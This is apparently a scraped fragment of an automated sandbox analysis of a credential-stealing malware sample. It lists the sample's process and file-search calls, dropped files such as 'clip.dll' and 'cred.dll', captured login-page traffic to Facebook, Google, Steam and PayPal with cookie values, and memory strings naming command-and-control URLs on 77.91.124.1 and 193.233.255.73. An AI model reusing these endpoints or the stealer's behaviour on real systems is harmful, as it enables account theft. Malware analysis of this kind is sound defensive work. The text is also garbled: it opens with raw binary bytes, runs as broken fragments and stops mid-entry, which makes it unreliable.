o�V�>�ވ��k�.b'Q�Y�N��߱`��w��?YG&]�?�̈9�hN�J�S��\�ux��//��|��lܫ��؁�}8x��|��G��ȸK,\�x��a�l��@,��E�q8�C)��tbUL��0�T(�{�lᅯ#b�>��9�pD�{�Z�R[��c�w��[��X��K�O�?�B��WL��?��_Q��W�b��w�?�ে��*8� ��_F��;�Lm�p(��??D4�bC|��QA��R̄{pN��mr2[��CSbe%��óB��A�S��?�� d�`�O�=Q#�F�w�W-6��~p�x��2Wq(�,t�΋6Q��+:�&��7�<�^��I:e*�~��N��o�n��!�Z4��BA�Va�c@p��{��v([c�y�R1_�B��oޏ��)�5�Sb��I'�rm��6��&P�͍��e*BڷȠ�:߼�+z�uK��H�$�l��q�6��z�b�=�×N�d��O�\�x��82��>��K�Olf��[��oϣW �.f��TAZ�i��][s۶�/|FG�x�I۱e��3q��&M��$$ѢHJ�x��;߂E�N�>�9/�X-.v��W��d��۟]\v�Q��w�B&��-�Wu��FQõ�=�v�En��d]%�\�*�� 8֪�eQ�-�T�r�(�Fb�q�l�{p�-fE�|bꄘ��fe��N�n�黻??�y��dr7�z�=��d%TQ7e_DaS�� Q;?Ԅ�B��k�m��|�dEvh!�2��N�J<��p)�\�m=��1o��*�D%��J�h�Ь��fg=֮�3�Xj�e�� d�k�dV<6�Z��:Qj��Y��_h�+��a62�@�A�R�W ��T��bʉ�l�o��:��Cgrgǂq��rIᚘ�K�+.��aF��a�Y��f�� fk��}X�9� f'w,��d*vC8��x;��=��)IT��{�c?Ѓ��A亞��'_�3>��s�}�л��u�_��-�Z�6�;�|��s�py�!��~<'U��'ӻ� =}gi�us~{wus��HKa��/+/�k��m׵]~??Һ&�Έ�R6:i%U�Q�D�*O$�r.�Z��0��g��R�DK��E�D�l��c�&2Q�Ɛ��Ƀ� ��Q��(�Lv��V�]��,.4�O �r��u�7�{��q�W��^�J(��Ñ9Pk�I�Ѧ^��*'W8@Oc֠�};�ib��]/�^ԛ2OrU��&{f;-vm=R�U7�a�.��p��X�tc9�K9e��lyd��0��F�", "450�peZ��E�7��c�0��uD�"]-yyIL%e�/6e��:�m��R�5~Lі�Ujg�m=oM=��#��4�syYW�ܲ4��EmnT;� _d�-�`�j�L�r��IR��b�#@��/��/$��b�NڗN�t�ٓȅG��ޘ8��pb��M�G;��ұ�Z��-�y��>�z��Z%d�[�n��Z�{��t��y!��[�}�-X{�Ώ�Yî�\; 0L�՜�zI(��W=�D�;��A-0�t`�;��6z�ӳ��b^!��*uu��FWQ��q5��Ig��1��1��쓓}�ꏼ(��/H�O��'�>�ɐ#/��A��Q�t��܀E<�אQ��,�y4l�!�.��ǹ�{�c�O�}�א�!�ƶ.��~��(�@��?�NF4�<}��~�Y�㐳Y.��e9��X7�)U*á��l�fi�"��f1�"�8�E��8v�`4�x8�|?r�(�a(�ۃ:�Ҩ"��f9��/�Љ��ղ)"%�*��@�&N�Y$��,~�!��;a��Ʀ�w�17Fd�Cb�,T�B,L2펦�V�>��5WN~v#gMh1RLm��ZՏۉ��6��G��k��g��Cs|>�3ㄡ �tӜ�-�I{��{R;�킁�/4=�[�NO<-�W#dlR�IM�!-��,ꍙ,d��K��[�p~l�t��7��fS�ڌ�#��]�)`.#y�a�p�x��!r#��7a�ޱ&a-Z�a��u6�js�B��>+�#�W�ˎ�W��U[�c��"2��/�:~:��M�d5ެ�U�)��:��@>^��a�_G��0'_��,��o�j��;ҿm�>|��<��5�4�.��v��nNw��v�f:g��{�ر�� /o�*��ۊ�0", "GET /security/hsts-pixel.gif?c=3.2.5 HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: facebook.comDNT: 1Connection: Keep-AliveCookie: fr=0ozbQazH9UTqqwt9V..BlP5nT.bq.AAA.0.0.BlP5nT.AWWyoQaHmpE; sb=05k_ZVYfEDgJQuQlVIHl_mRq", "HTTP/1.1 302 FoundLocation: https://fbcdn.net/security/hsts-pixel.gif?c=2.5reporting-endpoints: cross-origin-opener-policy: same-origin-allow-popupsAccess-Control-Allow-Origin: *Strict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: T7LuQC4CxD5D0okSegZ7fz/UZz0mirS6XY2L/LreF5aaRzOIBwhYfBJI8yP9/Y6/Ut3IHp/BB+1Y9NA6EvcPxw==Date: Mon, 30 Oct 2023 11:56:15 GMTAlt-Svc: h3=":443"; ma=86400Connection: keep-aliveContent-Length: 0", "GET /security/hsts-pixel.gif?c=2.5 HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Connection: Keep-AliveHost: fbcdn.net", "HTTP/1.1 302 FoundLocation: https://fbsbx.com/security/hsts-pixel.gif?c=5reporting-endpoints: cross-origin-opener-policy: same-origin-allow-popupsAccess-Control-Allow-Origin: *Strict-Transport-Security: max-age=31536000; preload; includeSubDomainsContent-Type: text/html; charset="utf-8"X-FB-Debug: 2Wp8P9MbPO5RSKqmcwvf/HwrjZuB0TJAYIwX/8zefFam/SkYW6/JYmRQn20KNN0Ohbg9J6nwt0HGI36/WG8tsw==Date: Mon, 30 Oct 2023 11:56:16 GMTAlt-Svc: h3=":443"; ma=86400Connection: keep-aliveContent-Length: 0", "GET /security/hsts-pixel.gif?c=5 HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: fbsbx.comConnection: Keep-Alive", "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comConnection: Keep-AliveAccept-Language: en-US", "HTTP/1.1 302 Moved TemporarilyContent-Type: text/html; charset=UTF-8Strict-Transport-Security: max-age=31536000; includeSubDomainsSet-Cookie: __Host-GAPS=1:F7Z86RihK1U-nM29wKk98RxLfw2NKw:gtqvxtf5bC9u9SzE;Path=/;Expires=Wed, 29-Oct-2025 11:56:02 GMT;Secure;HttpOnly;Priority=HIGHX-Frame-Options: DENYContent-Security-Policy: script-src 'nonce-7L9Rkgoz5vA-r0cJ5EF6GQ' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreportLocation: https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2FContent-Encoding: gzipDate: Mon 30 Oct 2023 11:56:02 GMTExpires: Mon 30 Oct 2023 11:56:02 GMTCache-Control: private max-age=0X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockServer: GSEAlt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000Transfer-Encoding: chunked", "0000000100000001�00000001000000010000000100000001000000010000000100000001000001�e3�PAj�0��B!=ZN��u��X�K_E�1��ax%�u��~�7Q�8z�IN��#��_�o�d��)��2�Q|&��Ht@ΨfƑNZ��:eJ;�F�ĘTg�l�"��5{�i��f7Jk��6y|H�;��g��f�4��s%˳��À��x��fL�Y�ž�K��P�/��@�R"62:T776,Found URL "http://77.91.124.1/theme/index.phpdntexceptiondntexception:c:\users\hapubws\appdata\roaming\microsoft\windows\dntexception\domstoredomstorec:\users\hapubws\appdata\local\microsoft\internet" - Source: "00000000-00001296.00000001.68952.00340000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.phplmemlmemlmemjklmemlmemmicrosoft" - Source: "00000000-00001296.00000001.68952.00340000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.phplmemlmemlmemtp://77.91.124.1/theme/index.phptp://77.91.124.1/theme/index.phpm3wq/c:\windowssystem32/c:\windowssystem32/c:\windowssystem32" - Source: "00000000-00001296.00000001.68952.00340000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.phpdntexceptiondntexception:c:\users\hapubws\appdata\roaming\microsoft\windows\dntexception\domstoredomstorec:\users\hapubws\appdata\local\microsoft\internet" - Source: "00000000-00001296.00000002.70870.00340000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.phplmemlmemlmemjklmemokie:hapubws@juegosdiarios.com/microsoft" - Source: "00000000-00001296.00000002.70870.00340000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.phplmemlmemlmemtp://77.91.124.1/theme/index.phptp://77.91.124.1/theme/index.phpm3wq/c:\windowssystem32/c:\windowssystem32/c:\windowssystem32" - Source: "00000000-00001296.00000002.70870.00340000.00000004.mdmp") Found URL "http://193.233.255.73/wm80appdata=c:\users\hapubws\appdata\roamingacmgpsmodulepath=c:\windows\system32\windowspowershell\v1.0\modules\;c:\program" - Source: "00000000-00003168.00000000.67184.003E0000.00000004.mdmp") Found URL "http://193.233.255.73/loghub/masterhttp://193.233.255.73/loghub/masterlmemlmemlmemlmemlmemlmemlmemlmemlmemlmemlocalappdata=c:\users\hapubws\appdata\localpsmodulepath=c:\windows\system32\windowspowershell\v1.0\modules\;c:\program" - Source: "00000000-00003168.00000000.67184.003E0000.00000004.mdmp")63:Tde4,Found string "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US" (Indicator: "HTTP/1.1"; File: "SSL") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comConnection: Keep-AliveAccept-Language: en-US" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /rsrc.php/yb/r/hLRJ1GG_y0J.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL") Found string "HTTP/1.1 304 Not ModifiedDate: Thu, 26 Oct 2023 16:22:35 GMTExpires: Fri, 25 Oct 2024 16:22:35 GMTAge: 329627Last-Modified: Mon, 16 Oct 2017 17:32:56 GMTCache-Control: public, max-age=31536000Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000" (Indicator: "HTTP/1.1"; File: "SSL") Found string "HTTP/1.1 304 Not ModifiedDate: Thu, 26 Oct 2023 16:22:35 GMTExpires: Fri, 25 Oct 2024 16:22:35 GMTAge: 329628Last-Modified: Mon, 16 Oct 2017 17:32:56 GMTCache-Control: public, max-age=31536000Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /login/ HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: store.steampowered.comDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoDNT: 1Connection: Keep-AliveHost: www.google.com" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /signin HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypal.comDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /en_US/i/icon/pp_favicon_x.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL") Found string "ST /theme/index.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00001296.00000001.68952.00340000.00000004.mdmp, 00000000-00001296.00000002.70870.00340000.00000004.mdmp") Found string "POST /theme/index.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00001296.00000001.68952.00340000.00000004.mdmp, 00000000-00001296.00000002.70870.00340000.00000004.mdmp") Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00001296.00000001.68952.00340000.00000004.mdmp, 00000000-00001296.00000002.70870.00340000.00000004.mdmp") Found string ".php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00001296.00000001.68952.00340000.00000004.mdmp, 00000000-00001296.00000002.70870.00340000.00000004.mdmp") Found string "eme/index.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00001296.00000001.68952.00340000.00000004.mdmp, 00000000-00001296.00000002.70870.00340000.00000004.mdmp")64:T1946,Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwk" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "cLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJn" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "EaK0gnhS9SZizv8IkTcT4CDQIDvFNZazT" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBde13xIZENXEmRaEb4JXwU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEBde13x" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBde13xIZENXEmRaEb4JXwU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDXjiTYwV9zDBJXr%2BzP1lEY HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEQDXjiT" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDXjiTYwV9zDBJXr%2BzP1lEY HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCXtQEEuMx0gAkkEcVQ5Vat HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEQCXtQE" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCXtQEEuMx0gAkkEcVQ5Vat HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDiqPgG5QpuyCQrl9PBuZos%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEDiqPgG" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDiqPgG5QpuyCQrl9PBuZos%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLw" in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: o.ss2.us" Contains base62 string in header "2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDk" in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: o.ss2.us" Contains base62 string in header "MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIf" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base62 string in header "aREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmb" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m02.amazontrust.com" Contains base62 string in header "MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPW" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base62 string in header "2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base62 string in header "IWZzHshBOCggCEwdzEkpLy9ROx7U76vGU" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGAy%2Fdiu84vFCW7%2FIayIdNI%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog"65:T4a1,"e410310c63297392eb3ce82844bfe3e7.exe" called "FindFirstFileW" with parameter %TEMP%\IXP000.TMP\*.* (UID: 00000000-00002280) "e410310c63297392eb3ce82844bfe3e7.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00002280) "e410310c63297392eb3ce82844bfe3e7.exe" called "FindNextFileW" with parameter 7is1Ar50.exe (UID: 00000000-00002280) "e410310c63297392eb3ce82844bfe3e7.exe" called "FindNextFileW" with parameter Uj4GY78.exe (UID: 00000000-00002280) "Uj4GY78.exe" called "FindFirstFileW" with parameter %TEMP%\IXP001.TMP\*.* (UID: 00000000-00001004) "Uj4GY78.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00001004) "Uj4GY78.exe" called "FindNextFileW" with parameter 6NB6dz2.exe (UID: 00000000-00001004) "Uj4GY78.exe" called "FindNextFileW" with parameter wn3FW36.exe (UID: 00000000-00001004) "Uj4GY78.exe" called "FindFirstFileA" with parameter %TEMP%\IXP001.TMP\* (UID: 00000000-00001004) "Uj4GY78.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00001004) "wn3FW36.exe" called "FindFirstFileW" with parameter %TEMP%\IXP002.TMP\*.* (UID: 00000000-00003988) "wn3FW36.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00003988)66:T51c,"CabFA11.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%TEMP%\CabFA11.tmp]- [targetUID: 00000000-00003336] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Microsoft Cabinet archive data Windows 2000/XP setup 4770 bytes 1 file at 0x2c +A "disallowedcert.stl" number 1 1 datablock 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00003764] "77EC63BDA74BD0D0E0426DC8F8008506" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00003336] "CabFB2D.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%TEMP%\CabFB2D.tmp]- [targetUID: 00000000-00003336] "CabD9C8.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%TEMP%\CabD9C8.tmp]- [targetUID: 00000000-00003764]67:T1128,Dropped file: "clip.dll" - Location: [%APPDATA%\006700e5a2ab05\clip.dll]- [targetUID: 00000000-00001296] Dropped file: "cred.dll" - Location: [%APPDATA%\006700e5a2ab05\cred.dll]- [targetUID: 00000000-00001296] Dropped file: "2DE68166199B7ACB09381A14A0B3E7C1" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\2DE68166199B7ACB09381A14A0B3E7C1]- [targetUID: 00000000-00003528] Dropped file: "AJKIVZYV.htm" - Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\AJKIVZYV.htm]- [targetUID: 00000000-00003764] Dropped file: "imagestore.dat" - Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\imagestore\3mt7jhv\imagestore.dat]- [targetUID: 00000000-00003336] Dropped file: "en-US.4" - Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\DomainSuggestions\en-US.4]- [targetUID: 00000000-00003764] Dropped file: "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00003764] Dropped file: "B66240B0F6C84BD4857ABA60CF5CE4A0_5043E0F5DF723415C9EECC201C838A62" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\B66240B0F6C84BD4857ABA60CF5CE4A0_5043E0F5DF723415C9EECC201C838A62]- [targetUID: 00000000-00003576] Dropped file: "BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894]- [targetUID: 00000000-00003576] Dropped file: "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00003528] Dropped file: "AE583B12017CC3ACE1D659336529BFB3" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\AE583B12017CC3ACE1D659336529BFB3]- [targetUID: 00000000-00003764] Dropped file: "4748633DC5731827D4B432DBAC7A3ECE" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\4748633DC5731827D4B432DBAC7A3ECE]- [targetUID: 00000000-00002328] Dropped file: "69C6F6EC64E114822DF688DC12CDD86C" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\69C6F6EC64E114822DF688DC12CDD86C]- [targetUID: 00000000-00002368] Dropped file: "O169AKP5.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\O169AKP5.txt]- [targetUID: 00000000-00001060] Dropped file: "YX98041J.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\YX98041J.txt]- [targetUID: 00000000-00003824] Dropped file: "NMDMNY4L.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\NMDMNY4L.txt]- [targetUID: 00000000-00003824] Dropped file: "2LP2P686.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\2LP2P686.txt]- [targetUID: 00000000-00003824] Dropped file: "HYOZYIX8.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\HYOZYIX8.txt]- [targetUID: 00000000-00003824] Dropped file: "0270780F846F08BEFE0DD8112D932FEF" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\0270780F846F08BEFE0DD8112D932FEF]- [targetUID: 00000000-00003824] Dropped file: "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" - Location: 